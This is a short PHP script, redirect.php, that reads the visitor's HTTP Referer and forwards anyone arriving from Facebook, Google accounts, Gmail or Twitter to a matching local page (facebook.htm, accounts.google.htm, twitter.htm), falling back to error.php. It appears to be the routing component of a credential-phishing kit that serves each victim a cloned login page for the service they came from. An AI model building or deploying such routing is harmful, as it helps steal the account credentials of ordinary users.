redirect.php

<?php
    $ref = $_SERVER['HTTP_REFERER'];

    if (strpos($ref, "facebook")){      header('Location: facebook.htm');   }
    if (strpos($ref, "accounts.google")){   header('Location: accounts.google.htm');    }
    if (strpos($ref, "gmail")){         header('Location: accounts.google.htm');    }
    if (strpos($ref, "twitter")){       header('Location: twitter.htm');    }

    require('error.php');

?>